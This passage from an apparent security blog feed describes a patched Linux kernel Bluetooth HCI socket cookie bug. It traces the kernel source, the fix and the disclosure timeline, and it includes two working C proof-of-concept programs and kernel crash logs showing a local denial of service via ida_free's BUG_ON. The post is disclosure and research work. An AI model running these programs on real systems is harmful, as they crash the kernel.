ata_generic(E) uhci_hcd(E) ehci_pci(E) drm_kms_helper(E) mptspi(E)
ata_piix(E) crct10dif_pclmul(E) ehci_hcd(E) crct10dif_common(E) cec(E)
mptscsih(E) crc32_pclmul(E) crc32c_intel(E) psmouse(E) mptbase(E)
libata(E) usbcore(E) scsi_transport_spi(E) drm(E) e1000(E) scsi_mod(E)
usb_common(E) i2c_piix4(E) button(E)
[ 4348.820013] CR2: 0000000000000078
[ 4348.820016] ---[ end trace 8dfc2a7c580dec5a ]---
[ 4348.820021] RIP: 0010:ida_free+0x17e/0x350
[ 4348.820024] Code: b5 d1 00 eb 61 a8 07 0f 85 d4 01 00 00 4c 89 f8 be
08 00 00 00 48 c1 f8 06 4c 8d 44 c5 00 4c 89 c7 4c 89 04 24 e8 42 4f 90
ff &lt;4c&gt; 0f a3 7d 00 72 79 48 8b 6c 24 40 40 f6 c5 07 0f 85 61 01 00 00
[ 4348.820026] RSP: 0018:ffff8881428c7980 EFLAGS: 00010002
[ 4348.820029] RAX: 0000000000000001 RBX: 1ffff11028518f32 RCX:
ffffffffacb1235e
[ 4348.820031] RDX: 0000000000000000 RSI: 0000000000000008 RDI:
0000000000000078
[ 4348.820033] RBP: 0000000000000000 R08: 0000000000000000 R09:
0000000000000080
[ 4348.820035] R10: ffffed1028518f24 R11: 0000000000000001 R12:
0000000000000246
[ 4348.820038] R13: ffff8881428c79c0 R14: 00000000000083fe R15:
00000000000003fe
[ 4348.820040] FS:  0000000000000000(0000) GS:ffff888568080000(0000)
knlGS:0000000000000000
[ 4348.820042] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 4348.820045] CR2: 0000000000000078 CR3: 00000002cb47c002 CR4:
00000000007706e0
[ 4348.820065] PKRU: 55555554
[ 4348.820067] Fixing recursive fault but reboot is needed!
</code></pre></div>  </div>
</blockquote>]]></content><author><name></name></author><category term="linux" /><summary type="html"><![CDATA[Introduction]]></summary></entry><entry><title type="html">Finding bugs in the Linux Kernel Bluetooth Subsystem: Exploiting HCI socket cookie generation</title><link href="https://itayie.me/linux/2022/07/29/finding-bugs-in-the-linux-kernel-bt-subsystem-part-2.html" rel="alternate" type="text/html" title="Finding bugs in the Linux Kernel Bluetooth Subsystem: Exploiting HCI socket cookie generation" /><published>2022-07-29T08:34:27+00:00</published><updated>2022-07-29T08:34:27+00:00</updated><id>https://itayie.me/linux/2022/07/29/finding-bugs-in-the-linux-kernel-bt-subsystem-part-2</id><content type="html" xml:base="https://itayie.me/linux/2022/07/29/finding-bugs-in-the-linux-kernel-bt-subsystem-part-2.html"><![CDATA[<h2 id="introduction">Introduction</h2>

<p>This blog post describes a recent <a href="https://github.com/torvalds/linux/commit/fc82bbf4dede758007763867d0282353c06d1121">bug</a> I found in the HCI socket cookie generation mechanism.</p>

<h2 id="hci-sockets">HCI Sockets</h2>

<p>I have written a short summary regarding HCI sockets in my <a href="/linux/2022/07/29/finding-bugs-in-the-linux-kernel-bt-subsystem-part-1.html">previous</a> blog post.</p>

<h2 id="the-bug">The bug</h2>

<p>The bug exists in <code class="language-plaintext highlighter-rouge">lib/idr.c</code>, in the <code class="language-plaintext highlighter-rouge">ida_free</code> function, if the <code class="language-plaintext highlighter-rouge">id</code> parameter has a negative value then a <code class="language-plaintext highlighter-rouge">BUG_ON</code> macro is triggered:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="o">*</span> <span class="nf">ida_free</span><span class="p">()</span> <span class="o">-</span> <span class="n">Release</span> <span class="n">an</span> <span class="n">allocated</span> <span class="n">ID</span><span class="p">.</span>
 <span class="o">*</span> <span class="err">@</span><span class="n">ida</span><span class="o">:</span> <span class="n">IDA</span> <span class="n">handle</span><span class="p">.</span>
 <span class="o">*</span> <span class="err">@</span><span class="n">id</span><span class="o">:</span> <span class="n">Previously</span> <span class="n">allocated</span> <span class="n">ID</span><span class="p">.</span>
 <span class="o">*</span>
 <span class="o">*</span> <span class="n">Context</span><span class="o">:</span> <span class="n">Any</span> <span class="n">context</span><span class="p">.</span>
 <span class="err">*/</span>
<span class="kt">void</span> <span class="n">ida_free</span><span class="p">(</span><span class="k">struct</span> <span class="n">ida</span> <span class="o">*</span><span class="n">ida</span><span class="p">,</span> <span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">id</span><span class="p">)</span>
<span class="p">{</span>
	<span class="n">BUG_ON</span><span class="p">((</span><span class="kt">int</span><span class="p">)</span><span class="n">id</span> <span class="o">&lt;</span> <span class="mi">0</span><span class="p">);</span>
</code></pre></div></div>

<h2 id="breakdown">Breakdown</h2>

<p>The <a href="https://github.com/torvalds/linux/commit/fc82bbf4dede758007763867d0282353c06d1121">bug</a> could be triggered as a local user, using HCI sockets.</p>

<p>Each time the ioctl handler <code class="language-plaintext highlighter-rouge">HCIGETDEVINFO</code> is called on a newly initialized HCI socket, with <code class="language-plaintext highlighter-rouge">socket(AF_BLUETOOTH, SOCK_RAW, BTPROTO_HCI)</code>, a cookie value is generated: a 4 byte signed integer (on modern architectures):</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="kt">int</span> <span class="nf">hci_sock_ioctl</span><span class="p">(</span><span class="k">struct</span> <span class="n">socket</span> <span class="o">*</span><span class="n">sock</span><span class="p">,</span> <span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">cmd</span><span class="p">,</span>
			  <span class="kt">unsigned</span> <span class="kt">long</span> <span class="n">arg</span><span class="p">)</span>
<span class="p">{</span>
	<span class="kt">void</span> <span class="n">__user</span> <span class="o">*</span><span class="n">argp</span> <span class="o">=</span> <span class="p">(</span><span class="kt">void</span> <span class="n">__user</span> <span class="o">*</span><span class="p">)</span><span class="n">arg</span><span class="p">;</span>
	<span class="k">struct</span> <span class="n">sock</span> <span class="o">*</span><span class="n">sk</span> <span class="o">=</span> <span class="n">sock</span><span class="o">-&gt;</span><span class="n">sk</span><span class="p">;</span>
	<span class="p">[...]</span>
	<span class="k">if</span> <span class="p">(</span><span class="n">hci_pi</span><span class="p">(</span><span class="n">sk</span><span class="p">)</span><span class="o">-&gt;</span><span class="n">channel</span> <span class="o">!=</span> <span class="n">HCI_CHANNEL_RAW</span><span class="p">)</span> <span class="p">{</span>
		<span class="n">err</span> <span class="o">=</span> <span class="o">-</span><span class="n">EBADFD</span><span class="p">;</span>
		<span class="k">goto</span> <span class="n">done</span><span class="p">;</span>
	<span class="p">}</span>

	<span class="cm">/* When calling an ioctl on an unbound raw socket, then ensure
	 * that the monitor gets informed. Ensure that the resulting event
	 * is only send once by checking if the cookie exists or not. The
	 * socket cookie will be only ever generated once for the lifetime
	 * of a given socket.
	 */</span>
	<span class="k">if</span> <span class="p">(</span><span class="n">hci_sock_gen_cookie</span><span class="p">(</span><span class="n">sk</span><span class="p">))</span> <span class="p">{</span>
</code></pre></div></div>

<p>From <code class="language-plaintext highlighter-rouge">net/bluetooth/hci_sock.c</code>:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="n">bool</span> <span class="nf">hci_sock_gen_cookie</span><span class="p">(</span><span class="k">struct</span> <span class="n">sock</span> <span class="o">*</span><span class="n">sk</span><span class="p">)</span>
<span class="p">{</span>
	<span class="kt">int</span> <span class="n">id</span> <span class="o">=</span> <span class="n">hci_pi</span><span class="p">(</span><span class="n">sk</span><span class="p">)</span><span class="o">-&gt;</span><span class="n">cookie</span><span class="p">;</span>

	<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">id</span><span class="p">)</span> <span class="p">{</span>
		<span class="n">id</span> <span class="o">=</span> <span class="n">ida_simple_get</span><span class="p">(</span><span class="o">&amp;</span><span class="n">sock_cookie_ida</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">GFP_KERNEL</span><span class="p">);</span>
		<span class="k">if</span> <span class="p">(</span><span class="n">id</span> <span class="o">&lt;</span> <span class="mi">0</span><span class="p">)</span>
			<span class="n">id</span> <span class="o">=</span> <span class="mh">0xffffffff</span><span class="p">;</span>

		<span class="n">hci_pi</span><span class="p">(</span><span class="n">sk</span><span class="p">)</span><span class="o">-&gt;</span><span class="n">cookie</span> <span class="o">=</span> <span class="n">id</span><span class="p">;</span>
</code></pre></div></div>
<p>Note that <code class="language-plaintext highlighter-rouge">ida_simple_get()</code> does set an upper bound to the id member of each HCI socket.
If 2^31 HCI sockets are created, this should trigger a negative cookie value, which when the 2^31 socket is released the <code class="language-plaintext highlighter-rouge">BUG_ON</code> macro is triggered, given a 4 byte size signed integer.</p>

<p>When the socket is released, the <code class="language-plaintext highlighter-rouge">ida_simple_remove()</code> is called with the cookie value:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="kt">void</span> <span class="nf">hci_sock_free_cookie</span><span class="p">(</span><span class="k">struct</span> <span class="n">sock</span> <span class="o">*</span><span class="n">sk</span><span class="p">)</span>
<span class="p">{</span>
	<span class="kt">int</span> <span class="n">id</span> <span class="o">=</span> <span class="n">hci_pi</span><span class="p">(</span><span class="n">sk</span><span class="p">)</span><span class="o">-&gt;</span><span class="n">cookie</span><span class="p">;</span>

	<span class="k">if</span> <span class="p">(</span><span class="n">id</span><span class="p">)</span> <span class="p">{</span>
		<span class="n">hci_pi</span><span class="p">(</span><span class="n">sk</span><span class="p">)</span><span class="o">-&gt;</span><span class="n">cookie</span> <span class="o">=</span> <span class="mh">0xffffffff</span><span class="p">;</span>
		<span class="n">ida_simple_remove</span><span class="p">(</span><span class="o">&amp;</span><span class="n">sock_cookie_ida</span><span class="p">,</span> <span class="n">id</span><span class="p">);</span>
</code></pre></div></div>
<p>Where <code class="language-plaintext highlighter-rouge">ida_simple_remove()</code> is defined as:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#define ida_simple_remove(ida, id)	ida_free(ida, id)
</span></code></pre></div></div>

<p>I have faced some difficulties, firstly with small RAM space. Given that allocating 2^31 HCI sockets would trigger a creation of a large amount of resident pages in RAM, I tried to bypass this using another bug, in the HCI socket’s bind implementation:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="kt">int</span> <span class="nf">hci_sock_bind</span><span class="p">(</span><span class="k">struct</span> <span class="n">socket</span> <span class="o">*</span><span class="n">sock</span><span class="p">,</span> <span class="k">struct</span> <span class="n">sockaddr</span> <span class="o">*</span><span class="n">addr</span><span class="p">,</span>
			 <span class="kt">int</span> <span class="n">addr_len</span><span class="p">)</span>
<span class="p">{</span>
	<span class="k">struct</span> <span class="n">sockaddr_hci</span> <span class="n">haddr</span><span class="p">;</span>
	<span class="p">[...]</span>
	<span class="k">case</span> <span class="n">HCI_CHANNEL_MONITOR</span><span class="p">:</span>
		<span class="k">if</span> <span class="p">(</span><span class="n">haddr</span><span class="p">.</span><span class="n">hci_dev</span> <span class="o">!=</span> <span class="n">HCI_DEV_NONE</span><span class="p">)</span> <span class="p">{</span>
			<span class="n">err</span> <span class="o">=</span> <span class="o">-</span><span class="n">EINVAL</span><span class="p">;</span>
			<span class="k">goto</span> <span class="n">done</span><span class="p">;</span>
		<span class="p">}</span>

		<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">capable</span><span class="p">(</span><span class="n">CAP_NET_RAW</span><span class="p">))</span> <span class="p">{</span>
			<span class="n">err</span> <span class="o">=</span> <span class="o">-</span><span class="n">EPERM</span><span class="p">;</span>
			<span class="k">goto</span> <span class="n">done</span><span class="p">;</span>
		<span class="p">}</span>

		<span class="n">hci_pi</span><span class="p">(</span><span class="n">sk</span><span class="p">)</span><span class="o">-&gt;</span><span class="n">channel</span> <span class="o">=</span> <span class="n">haddr</span><span class="p">.</span><span class="n">hci_channel</span><span class="p">;</span>
</code></pre></div></div>
<p>When an HCI socket is bound to a <code class="language-plaintext highlighter-rouge">HCI_CHANNEL_MONITOR</code> channel, when freeing the socket; the socket object is freed, yet <code class="language-plaintext highlighter-rouge">ida_simple_remove()</code> is not called with the cookie id assigned to the HCI socket. Albeit, this requires a <code class="language-plaintext highlighter-rouge">CAP_NET_RAW</code> capability in the root user namespace.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code>
<span class="k">static</span> <span class="kt">int</span> <span class="nf">hci_sock_release</span><span class="p">(</span><span class="k">struct</span> <span class="n">socket</span> <span class="o">*</span><span class="n">sock</span><span class="p">)</span>
<span class="p">{</span>
	<span class="k">struct</span> <span class="n">sock</span> <span class="o">*</span><span class="n">sk</span> <span class="o">=</span> <span class="n">sock</span><span class="o">-&gt;</span><span class="n">sk</span><span class="p">;</span>
	<span class="k">struct</span> <span class="n">hci_dev</span> <span class="o">*</span><span class="n">hdev</span><span class="p">;</span>
	<span class="k">struct</span> <span class="n">sk_buff</span> <span class="o">*</span><span class="n">skb</span><span class="p">;</span>
	<span class="p">[...]</span>

	<span class="k">switch</span> <span class="p">(</span><span class="n">hci_pi</span><span class="p">(</span><span class="n">sk</span><span class="p">)</span><span class="o">-&gt;</span><span class="n">channel</span><span class="p">)</span> <span class="p">{</span>
	<span class="k">case</span> <span class="n">HCI_CHANNEL_MONITOR</span><span class="p">:</span>
		<span class="n">atomic_dec</span><span class="p">(</span><span class="o">&amp;</span><span class="n">monitor_promisc</span><span class="p">);</span>
		<span class="k">break</span><span class="p">;</span>
	<span class="k">case</span> <span class="n">HCI_CHANNEL_RAW</span><span class="p">:</span>
	<span class="k">case</span> <span class="n">HCI_CHANNEL_USER</span><span class="p">:</span>
	<span class="k">case</span> <span class="n">HCI_CHANNEL_CONTROL</span><span class="p">:</span>
		<span class="cm">/* Send event to monitor */</span>
		<span class="n">skb</span> <span class="o">=</span> <span class="n">create_monitor_ctrl_close</span><span class="p">(</span><span class="n">sk</span><span class="p">);</span>
		<span class="k">if</span> <span class="p">(</span><span class="n">skb</span><span class="p">)</span> <span class="p">{</span>
			<span class="n">hci_send_to_channel</span><span class="p">(</span><span class="n">HCI_CHANNEL_MONITOR</span><span class="p">,</span> <span class="n">skb</span><span class="p">,</span>
					    <span class="n">HCI_SOCK_TRUSTED</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">);</span>
			<span class="n">kfree_skb</span><span class="p">(</span><span class="n">skb</span><span class="p">);</span>
		<span class="p">}</span>

		<span class="n">hci_sock_free_cookie</span><span class="p">(</span><span class="n">sk</span><span class="p">);</span>
		<span class="k">break</span><span class="p">;</span>
	<span class="p">}</span>
	<span class="p">[...]</span>
</code></pre></div></div>
<p>The function <code class="language-plaintext highlighter-rouge">hci_sock_free_cookie()</code> is called only when the HCI socket channel is either <code class="language-plaintext highlighter-rouge">HCI_CHANNEL_RAW</code>, <code class="language-plaintext highlighter-rouge">HCI_CHANNEL_USER</code> or <code class="language-plaintext highlighter-rouge">HCI_CHANNEL_CONTROL</code>.
This allows me to trigger the <code class="language-plaintext highlighter-rouge">BUG_ON</code> macro without any RAM size requirements.</p>

<h2 id="the-fix">The fix</h2>

<p>The <a href="https://github.com/torvalds/linux/commit/fc82bbf4dede758007763867d0282353c06d1121">fix</a> was simply to remove the <code class="language-plaintext highlighter-rouge">BUG_ON</code> macro from the <code class="language-plaintext highlighter-rouge">ida_free()</code> function:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="nf">ida_free</span><span class="p">(</span><span class="k">struct</span> <span class="n">ida</span> <span class="o">*</span><span class="n">ida</span><span class="p">,</span> <span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">id</span><span class="p">)</span>
<span class="p">{</span>
	<span class="p">[...]</span>
<span class="o">-</span>	<span class="n">BUG_ON</span><span class="p">((</span><span class="kt">int</span><span class="p">)</span><span class="n">id</span> <span class="o">&lt;</span> <span class="mi">0</span><span class="p">);</span>
<span class="o">+</span>	<span class="k">if</span> <span class="p">((</span><span class="kt">int</span><span class="p">)</span><span class="n">id</span> <span class="o">&lt;</span> <span class="mi">0</span><span class="p">)</span>
<span class="o">+</span>		<span class="k">return</span><span class="p">;</span>
</code></pre></div></div>

<h2 id="exploitation">Exploitation</h2>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// SPDX-License-Identifier: GPL-2.0-or-later</span>
<span class="cm">/*
 *
 *  BlueZ - Bluetooth protocol stack for Linux
 *
 *  Copyright (C) 2000-2001  Qualcomm Incorporated
 *  Copyright (C) 2002-2003  Maxim Krasnyansky &lt;maxk@qualcomm.com&gt;
 *  Copyright (C) 2002-2010  Marcel Holtmann &lt;marcel@holtmann.org&gt;
 *
 *
 */</span>


<span class="cp">#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;fcntl.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;unistd.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;sys/ioctl.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;sys/socket.h&gt;</span><span class="cp">
#include</span> <span class="cpf">"lib/bluetooth.h"</span><span class="cp">
#include</span> <span class="cpf">"lib/hci.h"</span><span class="cp">
</span>

<span class="kt">int</span> <span class="nf">main</span><span class="p">(){</span>

        <span class="kt">int</span> <span class="n">fd</span><span class="p">;</span>
        <span class="k">struct</span> <span class="n">hci_dev_info</span> <span class="n">di</span> <span class="o">=</span> <span class="p">{</span><span class="mi">0</span><span class="p">};</span>
        <span class="n">di</span><span class="p">.</span><span class="n">dev_id</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
        <span class="k">struct</span> <span class="n">sockaddr_hci</span> <span class="n">haddr</span> <span class="o">=</span> <span class="p">{</span><span class="mi">0</span><span class="p">};</span>
        <span class="n">haddr</span><span class="p">.</span><span class="n">hci_family</span> <span class="o">=</span> <span class="n">AF_BLUETOOTH</span><span class="p">;</span>
        <span class="n">haddr</span><span class="p">.</span><span class="n">hci_channel</span><span class="o">=</span><span class="mi">2</span><span class="p">;</span> <span class="c1">// HCI_CHANNEL_MONITOR</span>
        <span class="n">haddr</span><span class="p">.</span><span class="n">hci_dev</span> <span class="o">=</span> <span class="mh">0xffff</span><span class="p">;</span> <span class="c1">// HCI_DEV_NONE</span>
        <span class="k">for</span><span class="p">(</span><span class="kt">uint64_t</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="mi">2147483648</span><span class="p">;</span><span class="n">i</span><span class="o">++</span><span class="p">){</span>
			<span class="n">fd</span> <span class="o">=</span> <span class="n">socket</span><span class="p">(</span><span class="n">AF_BLUETOOTH</span><span class="p">,</span> <span class="n">SOCK_RAW</span><span class="p">,</span> <span class="n">BTPROTO_HCI</span><span class="p">);</span>
			<span class="n">ioctl</span><span class="p">(</span><span class="n">fd</span><span class="p">,</span> <span class="n">HCIGETDEVINFO</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">di</span><span class="p">);</span>
			<span class="n">bind</span><span class="p">(</span><span class="n">fd</span><span class="p">,</span> <span class="p">(</span><span class="k">struct</span> <span class="n">sockaddr</span> <span class="o">*</span><span class="p">)</span><span class="o">&amp;</span><span class="n">haddr</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="k">struct</span>
	<span class="n">sockaddr_hci</span><span class="p">));</span>
			<span class="n">close</span><span class="p">(</span><span class="n">fd</span><span class="p">);</span>
        <span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>

<p>The <code class="language-plaintext highlighter-rouge">"BUG_ON"</code> failed assertion trigger, run as a local user after 2^31-1
HCI sockets’ cookies were generated:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// SPDX-License-Identifier: GPL-2.0-or-later</span>
<span class="cm">/*
 *
 *  BlueZ - Bluetooth protocol stack for Linux
 *
 *  Copyright (C) 2000-2001  Qualcomm Incorporated
 *  Copyright (C) 2002-2003  Maxim Krasnyansky &lt;maxk@qualcomm.com&gt;
 *  Copyright (C) 2002-2010  Marcel Holtmann &lt;marcel@holtmann.org&gt;
 *
 *
 */</span>

<span class="cp">#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;fcntl.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;unistd.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;sys/ioctl.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;sys/socket.h&gt;</span><span class="cp">
#include</span> <span class="cpf">"lib/bluetooth.h"</span><span class="cp">
#include</span> <span class="cpf">"lib/hci.h"</span><span class="cp">
</span>
<span class="kt">int</span> <span class="nf">main</span><span class="p">(){</span>
        <span class="k">struct</span> <span class="n">hci_dev_info</span> <span class="n">di</span> <span class="o">=</span> <span class="p">{</span><span class="mi">0</span><span class="p">};</span>
        <span class="n">di</span><span class="p">.</span><span class="n">dev_id</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
        <span class="kt">int</span> <span class="n">fd</span> <span class="o">=</span> <span class="n">socket</span><span class="p">(</span><span class="n">AF_BLUETOOTH</span><span class="p">,</span> <span class="n">SOCK_RAW</span><span class="p">,</span> <span class="n">BTPROTO_HCI</span><span class="p">);</span>
        <span class="n">ioctl</span><span class="p">(</span><span class="n">fd</span><span class="p">,</span> <span class="n">HCIGETDEVINFO</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">di</span><span class="p">);</span>
        <span class="n">close</span><span class="p">(</span><span class="n">fd</span><span class="p">);</span>

<span class="p">}</span>
</code></pre></div></div>

<p>This, in turn triggers the following log:</p>

<blockquote>
  <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[69803.437346] kernel BUG at /build/linux-hwe-5.4-qwJpmT/linux-hwe-5.4-
5.4.0/lib/idr.c:492!
[69803.437351] invalid opcode: 0000 [#1] SMP NOPTI
[69803.437353] CPU: 2 PID: 26662 Comm: hci_crash Tainted: G
OE     5.4.0-97-generic #110~18.04.1-Ubuntu
[69803.437354] Hardware name: Dell Inc. Precision 5820 Tower/06JWJY,
BIOS 2.5.1 10/20/2020
[69803.437359] RIP: 0010:ida_free+0x120/0x140
[69803.437361] Code: 48 8d 7d a8 31 f6 e8 9f ee 00 00 be 00 04 00 00 4c
89 ef e8 52 9c a7 ff 48 3d 00 04 00 00 75 ce 4c 89 ef e8 62 61 7f ff eb
b9 &lt;0f&gt; 0b 4b 8d 74 2d 01 48 8d 7d a8 e8 70 04 01 00 eb b2 e8 09 f4 5e
[69803.437362] RSP: 0018:ffffa52bc1cabdb0 EFLAGS: 00010286
[69803.437363] RAX: 00000000003fffff RBX: ffff978253453000 RCX:
0000001088064d8d
[69803.437364] RDX: 0000001088064d8c RSI: 00000000ffffffff RDI:
ffffffffc0c39250
[69803.437365] RBP: ffffa52bc1cabe08 R08: ffff97825fcb7a80 R09:
ffff9781266c7400
[69803.437366] R10: 0000000000000008 R11: ffff9781241310c0 R12:
00000000000003ff
[69803.437366] R13: ffffffffc0c437c0 R14: ffff9782599eef20 R15:
ffff9781870a3240
[69803.437368] FS:  00000000010bc300(0000) GS:ffff97825fc80000(0000)
knlGS:0000000000000000
[69803.437368] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[69803.437370] CR2: 00007ffe67758020 CR3: 0000000f1d490004 CR4:
00000000003606e0
[69803.437371] DR0: 0000000000000000 DR1: 0000000000000000 DR2:
0000000000000000
[69803.437371] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7:
0000000000000400
[69803.437372] Call Trace:
[69803.437393]  hci_sock_release+0x19a/0x1c0 [bluetooth]
[69803.437396]  __sock_release+0x42/0xc0
[69803.437397]  sock_close+0x15/0x20
[69803.437399]  __fput+0xc6/0x260
[69803.437400]  ____fput+0xe/0x10
[69803.437402]  task_work_run+0x9d/0xc0
[69803.437404]  exit_to_usermode_loop+0x109/0x130
[69803.437406]  do_syscall_64+0x170/0x190
[69803.437408]  entry_SYSCALL_64_after_hwframe+0x44/0xa9
[69803.437410] RIP: 0033:0x43dd73
[69803.437411] Code: 64 89 02 48 c7 c0 ff ff ff ff c3 66 2e 0f 1f 84 00
00 00 00 00 66 90 64 8b 04 25 18 00 00 00 85 c0 75 14 b8 03 00 00 00 0f
05 &lt;48&gt; 3d 00 f0 ff ff 77 45 c3 0f 1f 40 00 48 83 ec 18 89 7c 24 0c e8
[69803.437411] RSP: 002b:00007ffe6765c038 EFLAGS: 00000246 ORIG_RAX:
0000000000000003
[69803.437413] RAX: 0000000000000000 RBX: 0000000000400488 RCX:
000000000043dd73
[69803.437413] RDX: 00007ffe6765c040 RSI: 00000000800448d3 RDI:
0000000000000003
[69803.437414] RBP: 00007ffe6765c0a0 R08: 000000000000000c R09:
0000000000000002
[69803.437415] R10: 0000000000000002 R11: 0000000000000246 R12:
0000000000402b20
[69803.437415] R13: 0000000000000000 R14: 00000000004ac018 R15:
0000000000400488
[69803.437417] Modules linked in: cmac rfcomm bnep btusb btrtl btbcm
btintel bluetooth ecdh_generic ecc twofish_generic twofish_avx_x86_64
twofish_x86_64_3way twofish_x86_64 twofish_common serpent_avx2
serpent_avx_x86_64 serpent_sse2_x86_64 serpent_generic blowfish_generic
blowfish_x86_64 blowfish_common cast5_avx_x86_64 cast5_generic
cast_common des_generic libdes camellia_generic camellia_aesni_avx2
camellia_aesni_avx_x86_64 camellia_x86_64 xcbc md4 algif_hash xfrm_user
xfrm4_tunnel tunnel4 ipcomp xfrm_ipcomp esp4 ah4 af_key xfrm_algo
anyconnect_kdf(OE) snd_hda_codec_hdmi intel_rapl_msr intel_rapl_common
nls_iso8859_1 dell_smm_hwmon snd_hda_codec_realtek
snd_hda_codec_generic ledtrig_audio snd_hda_intel snd_intel_dspcfg
isst_if_common snd_hda_codec skx_edac nfit snd_hda_core snd_hwdep
snd_pcm x86_pkg_temp_thermal intel_powerclamp coretemp kvm_intel
snd_seq_midi snd_seq_midi_event snd_rawmidi kvm snd_seq rapl
intel_cstate snd_seq_device snd_timer ucsi_ccg dell_wmi ioatdma mei_me
typec_ucsi
[69803.437442]  snd serio_raw dell_smbios dcdbas sparse_keymap wmi_bmof
intel_wmi_thunderbolt typec joydev dell_wmi_descriptor input_leds mei
soundcore dca acpi_tad mac_hid ipt_REJECT nf_reject_ipv4 nf_log_ipv4
nf_log_common xt_LOG xt_limit xt_tcpudp xt_addrtype xt_conntrack
ip6_tables nf_conntrack_netbios_ns nf_conntrack_broadcast sch_fq_codel
nf_nat_ftp nf_nat nf_conntrack_ftp nf_conntrack nf_defrag_ipv6
nf_defrag_ipv4 libcrc32c parport_pc iptable_filter bpfilter ppdev lp
parport ip_tables x_tables autofs4 algif_skcipher af_alg dm_crypt
hid_generic usbhid hid uas usb_storage nouveau nvme nvme_core mxm_wmi
video i2c_algo_bit ttm crct10dif_pclmul crc32_pclmul drm_kms_helper
ghash_clmulni_intel aesni_intel syscopyarea sysfillrect crypto_simd
sysimgblt cryptd fb_sys_fops glue_helper drm vmd e1000e i2c_nvidia_gpu
ahci libahci wmi
[69803.437471] ---[ end trace 650bd857a8213515 ]---
[69803.515535] RIP: 0010:ida_free+0x120/0x140
[69803.515544] Code: 48 8d 7d a8 31 f6 e8 9f ee 00 00 be 00 04 00 00 4c
89 ef e8 52 9c a7 ff 48 3d 00 04 00 00 75 ce 4c 89 ef e8 62 61 7f ff eb
b9 &lt;0f&gt; 0b 4b 8d 74 2d 01 48 8d 7d a8 e8 70 04 01 00 eb b2 e8 09 f4 5e
[69803.515548] RSP: 0018:ffffa52bc1cabdb0 EFLAGS: 00010286
[69803.515553] RAX: 00000000003fffff RBX: ffff978253453000 RCX:
0000001088064d8d
[69803.515556] RDX: 0000001088064d8c RSI: 00000000ffffffff RDI:
ffffffffc0c39250
[69803.515559] RBP: ffffa52bc1cabe08 R08: ffff97825fcb7a80 R09:
ffff9781266c7400
[69803.515562] R10: 0000000000000008 R11: ffff9781241310c0 R12:
00000000000003ff
[69803.515566] R13: ffffffffc0c437c0 R14: ffff9782599eef20 R15:
ffff9781870a3240
[69803.515570] FS:  00000000010bc300(0000) GS:ffff97825fc80000(0000)
knlGS:0000000000000000
[69803.515573] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[69803.515576] CR2: 00007ffe67758020 CR3: 0000000f1d490004 CR4:
00000000003606e0
[69803.515579] DR0: 0000000000000000 DR1: 0000000000000000 DR2:
0000000000000000
[69803.515582] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7:
0000000000000400
</code></pre></div>  </div>
</blockquote>

<h2 id="timeline">Timeline</h2>
<blockquote>
  <p>10/07/2022 - The bug was reported to security@kernel.org</p>

  <p>11/07/2022 - The fix was <a href="https://github.com/torvalds/linux/commit/fc82bbf4dede758007763867d0282353c06d1121">commited</a> by Linus Torvalds and Matthew Wilcox.</p>
</blockquote>]]></content><author><name></name></author><category term="linux" /><summary type="html"><![CDATA[Introduction]]></summary></entry></feed>